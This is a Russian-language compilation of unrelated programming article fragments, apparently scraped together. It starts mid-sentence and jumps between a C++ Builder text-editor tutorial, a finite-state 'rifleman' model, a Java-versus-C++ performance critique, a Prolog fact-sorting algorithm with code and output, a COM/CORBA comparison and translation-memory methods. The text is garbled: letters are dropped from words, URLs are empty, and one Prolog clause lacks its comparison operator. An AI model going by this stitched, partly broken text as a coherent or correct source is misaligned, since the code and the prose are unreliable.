утверждение, что Java обеспечивает программистам лучшую продуктивность программирования, нежели C++.

    Проектирование формы приложения

    Попробуем использовать полученные знания для создания текстового редактора, с помощью которого можно было бы создавать новые файлы, открывать имеющиеся, ре актировать и сохранять их, а также использовать буфер обмена для работы с фрагментами текста. Для этого создадим новый проект, основанный на пустой форме, и сохраним ее под именем Edit1.cpp. Сам проект сохраним под именем Edit.mak. На пустой форме разместим компонент TPanel - будущую инструментальную панель нашего редактора. Свойству Align полученного компонента Panel1 присвоим значение alTop, а свойству Caption - пустую строку. Далее разместим на форме компонент TMemo и присвоим его свойству Align значение alClient, свойству ScrollBars - значение ssVertical, а свойству Lines - пустой массив строк (редактор свойств, являющихся строковыми массивами, как п авило, представляет собой обычный текстовый редактор). Вспомним о том, что наш будущий текстовый редактор должен открывать и сохра ять файлы. Для этой цели воспользуемся стандартными диалогами Windows 95, содержащимися в библиотеке comdlg32.dll. Для этого поместим на форму два диалога со страницы Dialogs: TOpenDialog и TSaveDialog. Изменим свойство Filter созданного только что компонента OpenDialog1, внеся две строки в диалоговую панель Filter Editor и нажав кнопку OK (рис. 8). Проектирование формы приложения Рис. 8. Установка свойства Filter компонента OpenDialog1. Теперь можно взять в буфер обмена строку, образовавшуюся в колонке значений апротив свойства Filter, выбрать компонент SaveDialog1 и вставить содержимое буфера обмена в строку напротив свойства Filter. Этим самым мы установим такое же значение свойства Filter для второго диалога. При желании можно изменить заголовки диалоговых панелей (свойство Caption) и другие параметры (свойство Options). Обратите внимание на то, что языковая версия библиотеки может быть в общем случае как русской, так и английской, так как это ресурс Windows, а не вашего приложения. Поэтому, если вашим пользователям нужно, чтобы стандартные диалоги Windows были русскоязычными, рекомендуйте им установить русскую версию Windows 95 или Windows NT Workstation, либо попробуйте заменить на компьютерах пользователей имеющуюся версию comdlg32.dll на русскоязычную.
    Впрочем, на странице System имеется достаточное количество компонент для создания "самодельных" диалогов для работы с файлами... И, наконец, разместим на форме компонент StatusBar со страницы Win95. Отредактируем его свойство Panels (это свойство представляет собой набор компонентов-панелей, на которых выводится необходимая пользователю информация). Редактор этого свойства представляет собой диалог (рис.9). Создадим панель, на которой будет появляться имя редактируемого файла. Для этого нажмем кнопку New и изменим параметр Width созданной панели, сделав его равным 100. В поле Text введем значение "Без имени". Затем нажмем кнопку ОК. Проектирование формы приложения Рис. 9. Установка свойства Panels компонента StatusBar1. Далее выберем с помощью мыши компонент Panel1 и разместим на нем девять компонентов типа TSpeedButton. Сделать это проще всего, нажав клавишу Shift и выбрав SpeedButton со страницы Additional палитры компонентов. Оснастим наши кнопки рисунками. Для этого присвоим значения свойствам Glyph этих кнопок. С этой целью можно воспользоваться обширным набором картинок, вхо ящих в состав С++ Builder (каталог CBuilder\images\Buttons). Для нашего примера из этого каталога были выбраны файлы Doorshut.bmp,Filenew.bmp, Fileopen.bmp, Fileclose.bmp, Filesave.bmp, Cut.bmp, Copy.bmp, Paste.bmp, Help.bmp (рис.10). Проектирование формы приложения Рис. 10. Установка свойства Glyph компонентов SpeedButton1,...,SpeedButton9. Далее, используя описанные выше приемы манипуляции компонентами, разместим кнопки группами, как показано на рис.11. Присвоим свойству ShowHint этих кнопок значение True, а свойству Hint - значения "Выход", "Создать", "Открыть", "Сохранить", "Сохранить как...", "Вырезать", "Копировать", "Вставить", "О п ограмме". Это приведет к появлению желтых ярлычков с комментариями под кнопками, когда на кнопке находится курсор мыши. Проектирование формы приложения Рис. 11. Вид главной формы приложения.

    Программная модель командира

    В формулировке задачи нет ни слова о том, откуда берется команда. Будем считать, что ее подает командир и что он делает это, переходя во внутреннее состояние "Огонь". Заголовочный файл и реализация методов для класса "Командир" (Officer) представлены в листинге 2. Алгоритм функционирования командира прост (но роль его важна!): это циклические переходы из состояния "Сон" в состояние "Огонь". Из "Сна" командира можно вывести принадлежащим ему методом SetCommand.

    Программная модель стрелка

    Имея алгоритм решения задачи и модель поведения стрелка, можно приступить к программированию. Заголовочный файл и реализация класса "Стрелок" (Rifleman) показаны в листинге 1. У класса CRifleman, порожденного из автоматного класса LFsaAppl, имеется три предиката, три действия и таблица переходов автомата. Находясь в начальном состоянии "Сон" ("солдат спит - служба идет"), стрелок ждет команды "Огонь!", которой соответствует одноименное внутреннее состояние соседа слева (адрес соседа находится в указателе pFsaLeftMan). Анализ такой ситуации в автомате выполняет предикат x1. При поступлении команды "Огонь!" автомат выполняет действие y1 и переходит в состояние "Огонь". Действие y1 присваивает автомату номер на единицу больше, чем у соседа слева, а состояние "Огонь" сигнализирует соседу справа о том, что дана команда открыть стрельбу. Находясь в состоянии "Огонь", стрелок ожидает, чтобы сосед справа (адрес которого хранится в указателе pFsaRightMan) перешел в состояние "Готов", определяя соответствующий момент по истинности предиката x2. Когда это случается, он сам переходит в состояние "Готов" и выполняет действие y2, т. е. уменьшает на единицу свой номер. Затем начинается автономная работа стрелка - уменьшение на единицу своего номера при каждом такте работы автомата. При равенстве номера нулю автомат переходит в состояние "Выстрел". При этом выполняется действие y3. Состояние "Выстрел" послужит сигналом для пули, которая начнет свой "разящий полет" от одной границы окна к другой (напомним, что в качестве пули мы используем мячик из статьи [1]). О роли действий y3, y4, y5 и предиката x4 будет рассказано в разделе о стрельбе очередями.

    Производительность работы приложений

    Мы увидели, что преимущества продуктивности программирования на Java оказались иллюзорными. Теперь мы исследуем производительность работы приложений. И снова Prechelt предоставляет интересные сведения. Объем предлагаемой им информации огромен, но в конечном итоге он приходит к заключению, что "Java-программы выполняются по крайней мере в 1.22 раза медленнее C/C++ программ". Заметьте, что он сказал по крайней мере; средняя же скорость работы Java-программ гораздо меньше. Наш собственный опыт показывает, что Java-программы выполняются приблизительно в 2-3 раза медленнее своих C/C++ аналогов. На задачах, ориентированных на интенсивное использование процессора, Java-программы проигрывают еще сильнее. В случае программ с пользовательским графическим интерфейсом увеличение времени отклика интерфейса является более критичным, чем низкая производительность программы. Проведенные исследования показывают, что пользователи более терпимы к задачам, выполняющимся в течение двух или трех минут, чем к программам, которые не реагируют мгновенно на их воздействия, например, на нажатия кнопок. Эти исследования показывают, что если время отклика программы больше, чем 0,7 секунды, пользователи считают ее медленной. Мы вернемся к этой проблеме, когда будем сравнивать пользовательский графический интерфейс в программах Java и C++. Объяснение того, почему Java-программы медленнее C++ проограмм, заключается в следующем. C++ программы компилируются компилятором C++ в двоичный формат, который затем исполняется непосредственно процессором; таким образом, выполнение программы осуществляется аппаратными средствами. (Это несколько упрощенно, так как большинство современных процессоров выполняют микрокод, но это не принципиально при обсуждении данного вопроса.) С другой стороны, компилятор Java компилирует исходный код в "байт-код", который непосредственно исполняется не процессором, а с помощью другого программного обеспечения, виртуальной машины Java (Java Virtual Machine, JVM).
    В свою очередь, JVM исполняется процессором. Таким образом, выполнение байт-кода Java-программ осуществляется не быстрыми аппаратными средствами, а с помощью более медленной программной эмуляции. Для повышения производительности работы Java-программ были разработаны "Just in Time" (JIT) компиляторы, но универсального решения этой проблемы не существует. На первый взгляд, полуинтерпретируемая природа Java-программ обеспечивает выполнение принципа "скомпилированный однажды код выполняется везде". Однажды скомпилированная в байт-код Java-программа может выполняться на любой платформе, для которой доступна JVM. На практике же, это не всегда так из-за отличий в реализациях разных JVM и из-за необходимости иногда наряду с Java-программами использовать родной, не-Java код, обычно написанный на C или C++. Но разве использование платформенно-независимого байт-кода является верным подходом в создании кросс-платформенных приложений? С хорошим кросс-платформенным инструментарием, наподобие Qt, и хорошими компиляторами для различных платформ программисты могут достичь почти той же цели компиляцией своего исходного кода один раз для каждой из платформ: "написанный однажды код компилируется везде". Можно возразить, что для этого разработчикам потребуется доступ ко всем поддерживаемым платформам, в то время, как с Java, теоретически, разработчикам необходим доступ только к одной из платформ, имеющей средства разработки для Java и JVM. На практике же ни один из ответственных производителей программного обеспечения не будет сертифицировать свои программные продукты для платформ без предварительного их тестирования, поэтому в любом случае производителям будет необходим доступ ко всем поддерживаемым платформам. Возникает вопрос, зачем использовать программную реализацию виртуальной машины Java, если такую же функциональность можно получить с помощью аппаратной реализации? Именно так рассуждали разработчики при создании языка Java; они предполагали, что вопрос низкой производительности будет решен, когда станет доступной аппаратная реализация JVM в виде Java-процессоров.Однако даже по прошествии пяти лет Java-процессоры не получили широкого распространения. Существуют проектные экземпляры и даже работающие прототипы Java-процессоров, однако понадобится еще немало времени, чтобы стало возможным их приобрести.

    Prolog_facts.shtml

    Сортировка фактов ПРОЛОГа Ермолаев Д.С., Москва

    09.04.2002 Программа на ПРОЛОГе оперирует с базой знаний, состоящей из фактов. Как правило, поиск решения идет с помощью перебора всех возможных фактов. Это может привести к значительным потерям времени. Поэтому, иногда необходимо отсортировать факты так, что бы программа начинала просмотр знаний с наилучшего варианта для ускорения поиска решения. Здесь предложен алгоритм сортировки фактов языка ПРОЛОГ. Алгоритм и его реализация на Visual Prolog 5.2 была сделана мною за 3 часа. Я не знаю какой это метод, потому как сам его придумал. Я слышал что есть метод с какими-то пузырьками, возможно это его подобие :) ------------------------------------ domains ИмяЗаписи = string НомерЗаписи, ЗначениеЗаписи = integer МояЗапись=моя_запись(НомерЗаписи, ИмяЗаписи, ЗначениеЗаписи); пусто database - мои_записи мз(МояЗапись) predicates показать_мои_записи значение_записи(МояЗапись,ЗначениеЗаписи) запись_выбрать(МояЗапись З1, МояЗапись З2, МояЗапись Вставить, МояЗапись Наверх) запись_вставить(МояЗапись) сортировка(МояЗапись Вниз, МояЗапись Вверх) - (i,o) сортировка откат clauses откат:-fail. % взять значение записи значение_записи(моя_запись(_,_,Значение),Значение):-!. % выбрать какую запись добавить, а какую передать наверх запись_выбрать(Запись1,пусто,пусто,Запись1):-!. запись_выбрать(Запись1,Запись2,Запись1,Запись2):- значение_записи(Запись1,Значение1), значение_записи(Запись2,Значение2), Значение1>Значение2, !. запись_выбрать(Запись1,Запись2,Запись2,Запись1):- !. % вставить факт обратно в базу знаний запись_вставить(пусто):-!. запись_вставить(Запись):- asserta(мз(Запись)), !. % сама сортировка сортировка(ЗаписьВниз,ЗаписьНаверх):- % выбрать запись из базы знаний retract(мз(Запись1)), % определить какую из записей передать вниз, % а какую возможно вставить в этом предикате запись_выбрать(ЗаписьВниз,Запись1,ЗаписьВниз1,ЗаписьВставить1), % рекурсия сортировки вниз сортировка(ЗаписьВниз1,Запись2), % определить какую запись вставить обратно в знания % а какую передать наверх запись_выбрать(ЗаписьВставить1,Запись2,ЗаписьВставить,ЗаписьНаверх), % выбранную запись на вставление - вставляем запись_вставить(ЗаписьВставить), !. % конец фактов - запомним последний сортировка(Запись,пусто):- запись_вставить(Запись), !.
    показать_мои_записи:- мз(Запись), nl,write(Запись), откат показать_мои_записи:-!. сортировка:- сортировка(пусто,Запись), запись_вставить(Запись), показать_мои_записи, !. В базе знаний “проба.txt” содержатся факты в следующем виде и порядке: мз(моя_запись(1,"я",23)). мз(моя_запись(2,"ты",3)). мз(моя_запись(3,"он",2)). мз(моя_запись(4,"она",123)). мз(моя_запись(5,"они",223)). мз(моя_запись(6,"вы",213)). мз(моя_запись(7,"кто",23)). мз(моя_запись(8,"что",20)). мз(моя_запись(9,"где",13)). мз(моя_запись(10,"когда",12)). мз(моя_запись(1,"я",5)). мз(моя_запись(2,"ты",55)). мз(моя_запись(3,"он",24)). мз(моя_запись(4,"она",1)). мз(моя_запись(5,"они",223)). мз(моя_запись(6,"вы",33)). мз(моя_запись(7,"кто",44)). мз(моя_запись(8,"что",20)). мз(моя_запись(9,"где",113)). мз(моя_запись(10,"когда",4)). Сначала нужно загрузить факты в память с помощью команды: Goal consult("проба.txt",мои_записи). После этого можно запускать сортировку фактов: Goal сортировка. % отсортировать один раз Надо заметить что сортировка за один раз не расставляет все факты полностью по возрастанию Значения факта: здесь предикат “сортировка” - это лишь одна итерация сортировки. Однако за одну итерацию сразу несколько фактов перемещаются на довольно длинное расстояние в списке фактов. После нескольких выполнений предиката “сортировка” факты будут полностью отсортированы. Дело в том, что чтобы оценить окончание сортировки нужно сделать дополнительный предикат, который бы перезапускал сортировку в случае не полной сортировки фактов. Вот результаты сортировки входных фактов из файла “проба”: Итерация 1. моя_запись(4,"она",1) моя_запись(2,"ты",3) моя_запись(3,"он",2) моя_запись(1,"я",23) моя_запись(4,"она",123) моя_запись(6,"вы",213) моя_запись(7,"кто",23) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(10,"когда",12) моя_запись(1,"я",5) моя_запись(2,"ты",55) моя_запись(3,"он",24) моя_запись(10,"когда",4) моя_запись(5,"они",223) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(8,"что",20) моя_запись(9,"где",113) моя_запись(5,"они",223) Итерация 2. моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",23) моя_запись(4,"она",123) моя_запись(7,"кто",23) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(10,"когда",12) моя_запись(1,"я",5) моя_запись(2,"ты",55) моя_запись(3,"он",24) моя_запись(8,"что",20) моя_запись(6,"вы",213) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(9,"где",113) моя_запись(5,"они",223) моя_запись(5,"они",223) Итерация 3 моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",5) моя_запись(1,"я",23) моя_запись(7,"кто",23) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(10,"когда",12) моя_запись(8,"что",20) моя_запись(2,"ты",55) моя_запись(3,"он",24) моя_запись(6,"вы",33) моя_запись(4,"она",123) моя_запись(7,"кто",44) моя_запись(9,"где",113) моя_запись(6,"вы",213) моя_запись(5,"они",223) моя_запись(5,"они",223) Итерация 4 моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",5) моя_запись(10,"когда",12) моя_запись(1,"я",23) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(8,"что",20) моя_запись(7,"кто",23) моя_запись(3,"он",24) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(2,"ты",55) моя_запись(9,"где",113) моя_запись(4,"она",123) моя_запись(6,"вы",213) моя_запись(5,"они",223) моя_запись(5,"они",223) Итерация 5 моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",5) моя_запись(10,"когда",12) моя_запись(9,"где",13) моя_запись(8,"что",20) моя_запись(8,"что",20) моя_запись(1,"я",23) моя_запись(7,"кто",23) моя_запись(3,"он",24) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(2,"ты",55) моя_запись(9,"где",113) моя_запись(4,"она",123) моя_запись(6,"вы",213) моя_запись(5,"они",223) моя_запись(5,"они",223) Как видно, на пятой итерации все факты полностью отсортированы.


    Хотя можно было бы уже остановиться и на третьей итерации, ведь лучшие факты уже находились в начале базы знаний, а точность их сортировки не так и важна в данной задаче. Недостаток алгоритма в том, что если в фактах есть много записей с одинаковыми значениями, то сортировка каждый раз будет сдвигать такие факты на одно место вверх. А вот более сложный алгоритм. Здесь устранён недостаток, описанный выше. И теперь одинаковые записи сортируются как одна запись: если две записи равны, то они собираются в список и далее путешествуют по сортировке вместе. Если далее встретится еще равная запись, то и она присоединится к списку. Таким образом, сортировка производится за несколько итераций вне зависимости от количества одинаковых фактов. % пузырьки легкие всплывают, а тяжелые тонут % а пузырьки одинаковые - цепляются к друг дружке domainsИмяЗаписи = string НомерЗаписи, ЗначениеЗаписи = integer МояЗапись=моя_запись(НомерЗаписи, ИмяЗаписи, ЗначениеЗаписи); мои_записи(МоиЗаписи); пусто МоиЗаписи = МояЗапись* database - мои_записи мз(МояЗапись) predicates показать_мои_записи значение_записи(МояЗапись,ЗначениеЗаписи) запись_выбрать(МояЗапись З1, МояЗапись З2, МояЗапись Вставить, МояЗапись Наверх) запись_вставить(МояЗапись) записи_вставить(МоиЗаписи) сортировка(МояЗапись Вниз, МояЗапись Вверх) - (i,o) сортировка запись_выбрать_вниз(МояЗапись, МояЗапись, МояЗапись Вниз, МояЗапись) запись_выбрать_вверх(МояЗапись, МояЗапись, МояЗапись, МояЗапись Вверх) записи_сложить(МояЗапись,МояЗапись,МояЗапись) - (i,i,o) clauses % сложить две записи с одинаковым значением записи_сложить(Запись1,Запись2,мои_записи([Запись1,Запись2])):- !. % взять значение записи значение_записи(моя_запись(_,_,Значение),Значение):-!. значение_записи(мои_записи([Запись|_]),Значение):-значение_записи(Запись,Значение),!. % выбрать какую запись добавить, а какую передать далее запись_выбрать(Запись1,Запись2,Запись1,Запись2):- значение_записи(Запись1,Значение1), значение_записи(Запись2,Значение2), Значение1Значение2, !. запись_выбрать(Запись1,Запись2,Запись2,Запись1):-!. % если записи равны, то их обоих нужно собрать в список и тащить вниз запись_выбрать_вниз(Запись1,Запись2,ЗаписьВниз,пусто):- значение_записи(Запись1,Значение1), значение_записи(Запись2,Значение2), Значение1=Значение2, записи_сложить(Запись1,Запись2,ЗаписьВниз), !. % если не равны, то обычное сравнение запись_выбрать_вниз(пусто,Запись,Запись,пусто):-!.


    запись_выбрать_вниз(Запись,пусто,Запись,пусто):-!. запись_выбрать_вниз(Запись1,Запись2,ЗаписьВниз,ЗаписьВверх):- запись_выбрать(Запись1,Запись2,ЗаписьВниз,ЗаписьВверх), !. % если записи равны, то их обоих нужно собрать в список и тащить вверх запись_выбрать_вверх(Запись1,Запись2,пусто,ЗаписьВверх):- значение_записи(Запись1,Значение1), значение_записи(Запись2,Значение2), Значение1=Значение2, записи_сложить(Запись1,Запись2,ЗаписьВверх), !. % если не равны, то обычное сравнение запись_выбрать_вверх(Запись,пусто,пусто,Запись):-!. запись_выбрать_вверх(пусто,Запись,пусто,Запись):-!. запись_выбрать_вверх(Запись1,Запись2,ЗаписьВниз,ЗаписьВверх):- запись_выбрать(Запись1,Запись2,ЗаписьВниз,ЗаписьВверх), !. % вставить список записей записи_вставить([Запись|Записи]):- запись_вставить(Запись), записи_вставить(Записи), !. записи_вставить([]):-!. % вставить запись или список записей запись_вставить(пусто):-!. запись_вставить(мои_записи(Записи)):- записи_вставить(Записи), !. запись_вставить(Запись):- asserta(мз(Запись)), !. % сама сортировка фактов сортировка(ЗаписьВниз,ЗаписьНаверх):- % вытащить текущий факт из базы retract(мз(Запись1)), % посмотреть, что далее вниз пойдет запись_выбрать_вниз(ЗаписьВниз,Запись1,ЗаписьВниз1,ЗаписьВставить1), % вызвать рекурсию сортировки (продолжим далее) сортировка(ЗаписьВниз1,ЗаписьНаверх1), % посмотреть, что вернуть наверх, а что положить в базу знаний запись_выбрать_вверх(ЗаписьВставить1,ЗаписьНаверх1,ЗаписьВставить,ЗаписьНаверх), запись_вставить(ЗаписьВставить), !. % конец фактов - запомним последний сортировка(Запись,пусто):- запись_вставить(Запись), !. % для показа записей на экран показать_мои_записи:- мз(Запись1), nl,write(Запись1), откат. показать_мои_записи:-!. % вызов сортировки сортировка:- сортировка(пусто,Запись), запись_вставить(Запись), показать_мои_записи, % повторить, !. вот результаты сортировки: Итерация 1 Моя_запись(4,"она",1) моя_запись(2,"ты",3) моя_запись(3,"он",2) моя_запись(1,"я",23) моя_запись(4,"она",123) моя_запись(6,"вы",213) моя_запись(7,"кто",23) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(10,"когда",12) моя_запись(1,"я",5) моя_запись(2,"ты",55) моя_запись(3,"он",24) моя_запись(10,"когда",4) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(8,"что",20) моя_запись(9,"где",113) моя_запись(5,"они",223) моя_запись(5,"они",223) Итерация 2 моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",23) моя_запись(4,"она",123) моя_запись(7,"кто",23) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(10,"когда",12) моя_запись(1,"я",5) моя_запись(2,"ты",55) моя_запись(3,"он",24) моя_запись(8,"что",20) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(9,"где",113) моя_запись(6,"вы",213) моя_запись(5,"они",223) моя_запись(5,"они",223) Итерация 3 моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",5) моя_запись(1,"я",23) моя_запись(7,"кто",23) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(10,"когда",12) моя_запись(8,"что",20) моя_запись(2,"ты",55) моя_запись(3,"он",24) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(9,"где",113) моя_запись(4,"она",123) моя_запись(6,"вы",213) моя_запись(5,"они",223) моя_запись(5,"они",223) Итерация 4 моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",5) моя_запись(10,"когда",12) моя_запись(8,"что",20) моя_запись(9,"где",13) моя_запись(8,"что",20) моя_запись(7,"кто",23) моя_запись(1,"я",23) моя_запись(3,"он",24) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(2,"ты",55) моя_запись(9,"где",113) моя_запись(4,"она",123) моя_запись(6,"вы",213) моя_запись(5,"они",223) моя_запись(5,"они",223) Итерация 5 моя_запись(4,"она",1) моя_запись(3,"он",2) моя_запись(2,"ты",3) моя_запись(10,"когда",4) моя_запись(1,"я",5) моя_запись(10,"когда",12) моя_запись(9,"где",13) моя_запись(8,"что",20) моя_запись(8,"что",20) моя_запись(1,"я",23) моя_запись(7,"кто",23) моя_запись(3,"он",24) моя_запись(6,"вы",33) моя_запись(7,"кто",44) моя_запись(2,"ты",55) моя_запись(9,"где",113) моя_запись(4,"она",123) моя_запись(6,"вы",213) моя_запись(5,"они",223) моя_запись(5,"они",223) % Вообще, есть классическая сортировка с помощью бинарных деревьев.


    Такая сортировка работает быстрее описанного выше метода. Но ее недостаток в том, что она выполняет полную сортировку до полного упорядочивания всех элементов списка. А предложенная мной сортировка делается не полностью, лишь увеличивая вероятность появления нужного факта в начале базы фактов ПРОЛОГа Мною была проведена тестовая оценка классической сортировки и предложенной: Так для количества записей 100 в базе, классическая сортировка делает 800 сравнений, а предложенная в статье (за два прохода): 378. Для 400 записей, соответственно: 11600 и 1500 (за два прохода). Однако если учесть, что время на выполнение одного сравнения в предложенном методе уходит больше и количество проходов при увеличении записей возрастает, выгодность классического метода увеличивается. Вот классический пример сортировки на ПРОЛОГе: ========================= % сортировка с использованием Reference Domains % То есть когда значение предает как ссылка % файл пример находится в ch11e04.pro к VIP5.5 % и показывает как использовать ссылочные значения % в классической сортировке по методу бинарного дерева /* Program ch11e05.pro */ DOMAINS tree = reference t(val, tree, tree) val = integer list = integer* PREDICATES insert(integer,tree) instree(list,tree) nondeterm treemembers(integer,tree) sort(list,list) CLAUSES insert(Val,t(Val,_,_)):-!. insert(Val,t(Val1,Tree,_)):- Val>Val1, !, insert(Val,Tree). insert(Val,t(_,_,Tree)):- insert(Val,Tree). instree([],_). instree([H|T],Tree):- insert(H,Tree), instree(T,Tree). treemembers(_,T):- free(T), !, fail. treemembers(X,t(_,L,_)):- treemembers(X,L). treemembers(X,t(Refstr,_,_)):- X = Refstr. treemembers(X,t(_,_,R)):- treemembers(X,R). sort(L,L1):- % рассортировывает элементы списка в бинарное дерево instree(L,Tree), % преобразовывает бинарное дерево обратно в список findall(X,treemembers(X,Tree),L1). GOAL sort([3,6,1,4,5],L), write("L=",L),nl. % Здесь значения-ссылки используются только в домайне tree

    Промежуточные итоги

    Итак, две ведущие технологии построения распределенных объектных сред имеют сходные базовые принципы и множество различий в деталях реализации. Обе технологии имеют солидный багаж проектов на их основе, что наглядно демонстрируют многочисленные "истории успеха" на Web-узле консорциума OMG () и домашней страничке СОМ (). Примеры конкретных реализаций систем на базе CORBA группируются по отраслям промышленности, и их список очень внушителен - аэрокосмическая индустрия, банковское дело и финансы, химическая промышленность, здравоохранение, производство, издательские компании, розничная торговля, телекоммуникации, правительственные и научные организации и, наконец, реклама и маркетинг. СОМ также может похвастаться значительным числом инсталляций. Однако до недавнего времени в ее епархию входили преимущественно настольные системы и сети масштаба рабочей группы или подразделения. Подобные СОМ-приложения доказали свою надежность и эффективность. Дополнительный плюс - интеграция с языками программирования и инструментальными средствами, которая упрощает разработку приложений на базе СОМ. Без Windows-систем сейчас не обходится большинство предприятий, поэтому СОМ/DСОМ неизбежно будет важным элементом корпоративных архитектур. Вопрос в том, сможет ли эта технология взять на себя сложные приложения корпоративного масштаба, как это делает CORBA (для чего она, собственно, и создавалась). Построение распределенных объектных систем - не только организация вызовов удаленных методов объектов. Необходимо искать эффективное решение таких проблем, как развертывание, обеспечение защиты, управление транзакциями и координированное использование разделяемых ресурсов, обработка исключительных и ошибочных ситуаций, поддержка асинхронных коммуникаций и обеспечение высокой производительности. СОМ прошла серьезный путь от поддержки составных документов к распределенным объектам. Теперь ее успех как технологии корпоративного масштаба зависит от того, насколько эффективными будут усилия Microsoft в решении перечисленных выше задач.
    Отсутствие четкой формализации архитектуры, ориентация на оптимизацию под отдельный язык или платформу, а не на общие решения, типичный для корпорации процесс внесения изменений по принципу - все это аргументы не в пользу СОМ. С другой стороны, у СОМ, безусловно, есть серьезные заделы, позволяющие рассчитывать на успех. Сервер транзакций MTS способен значительно повысить продуктивность клиент-серверных приложений. Полная интеграция MTS и службы асинхронных взаимодействий MSMQ с базовыми возможностями СОМ в спецификации СОМ+, а также средства поддержки унаследованных приложений на мэйнфреймах и тесная взаимосвязь СОМ и ее служб с операционной системой делают эту модель привлекательной базовой технологией для построения объектно-ориентированных распределенных приложений. Но только для тех вычислительных сред, которые опираются на Windows. Серверные технологии Microsoft готовы поддержать ее союзники. Имеющая огромное влияние на корпоративный рынок Compaq в феврале сообщила о запуске целой серии программ и служб, цель которых - обеспечить крупным предприятиям максимально благоприятные условия для развертывания архитектуры Distributed interNet Applications на платформе NT. По сравнению с СОМ, CORBA представляет собой четкую и полную объектную архитектуру, изначально ориентированную на гетерогенную среду. Использование IDL для всех определений элементов архитектуры делает модель согласованной, четко организованной и легко расширяемой. Концепция отображения в языки программирования обеспечивает взаимодействие объектов, создаваемых в разных языковых средах. Понятие объектной ссылки обеспечивает строгую идентификацию объекта и упрощает работу по размещению объекта. CORBA обеспечивает реальную многоплатформенность. Реализации CORBA многочисленны и принадлежат множеству производителей (с их полным списком и описанием продуктов можно познакомиться в Web по адресу ). Эти продукты поддерживают обширный диапазон аппаратных платформ, в том числе мэйнфреймы, миникомпьютеры и Unix-системы.Однако разнообразие реализаций имеет и свои недостатки, прежде всего потенциальную проблему несовместимости. Ряд продуктов позволяет сосуществовать объектам СОМ/CORBA. Взаимодействие объектов CORBA с OLE/COM определяется в спецификации CORBA, начиная с версии 2.0. Поддержку смешанной среды СОМ/CORBA обеспечивают в своих системах, например, компании Iona, Visual Edge и NobleNet. Так, Iona получила лицензию от Microsoft на использование технологии СОМ в системе СОМet, которая позволяет организовать "мост" между объектами в разных архитектурах. Непосредственную интеграцию СОМ, CORBA, RPC и Java обеспечивает анонсированная в начале этого года последняя версия системы Nouveau компании NobleNet.

    Проверка целостности сегментов, формата и грамматики

    Данные действия выполняются по окончании перевода и имеют своей целью проверить, все ли сегменты остались на своих местах, сохранилась ли форматирующая информация, и корректен ли результирующий текст с точки зрения грамматики целевого языка. Среди перечисленных технологий наибольший интерес представляют терминологические словари и память переводов, поскольку именно от их эффективности зависит скорость и качество перевода. Технология построения терминологических словарей достаточно хорошо проработана и основана на принципах, аналогичных тем, что применяются в обычных двуязычных словарях. Разбиение текста на термины обычно осуществляется по пробелам с дополнительным привлечением некоторого морфологического анализа. Сложнее обстоит дело с организацией памяти переводов. Наряду с тривиальной задачей поиска языковой пары, включающей сегмент, идентичный заданному, память переводов должна обеспечивать возможность поиска сегментов, похожих на данный по некоторому критерию. Таким образом, центральной проблемой классической памяти переводов является построение анализатора таких "нечетких совпадений" (fuzzymatches), характеристики которого и определяют преимущества и недостатки каждой конкретной системы профессионального перевода.

    Проверка соответствия терминологии

    После того, как перевод выполнен, компьютер осуществляет проверку того, что все вхождения каждого из терминов были переведены одинаково. Например, если термин "операционная система" был заменен при своем первом вхождении на "operatingsystem", а при втором вхождении на "operationalsystem", то должно быть выдано соответствующее предупреждении о нарушении единства терминологии.

    Пути расширения возможностей

    Поскольку функцией памяти переводов является поиск в базе данных переведенных фрагментов заданного сегмента, то пределом ее возможностей является, очевидно, выборка, максимально покрывающая исходный сегмент и не содержащая никакой избыточной (лишней) информации. Попытаемся выделить возможные варианты повышения качества памяти переводов, воспользовавшись приведенным ранее примером. Выберем и рассмотрим две языковые пары: таблица 4. Таблица 4
    Языковая пара 1Температура регулируется поворотом ручки по часовой стрелке
    The temperature can be adjusted by turning the knob clockwise
    Языковая пара 2Напор воды регулируется поворотом ручки по часовой стрелке
    The water head can be adjusted by turning the knob clockwise
    Сходство сегментов на исходном языке позволяет сделать предположение, что их переводы, то есть сегменты на целевом языке также должны быть похожи. Коль скоро это так, что возникает резонное желание выделить из двух приведенных языковых пар общую часть и представить ее в виде новой языковой пары. Выполнив несложную операцию пересечения строк, получаем следующий результат: таблица 5. Таблица 5
    Языковая пара 3 Регулируется поворотом ручки по часовой стрелке
    can be adjusted by turning the knob clockwise
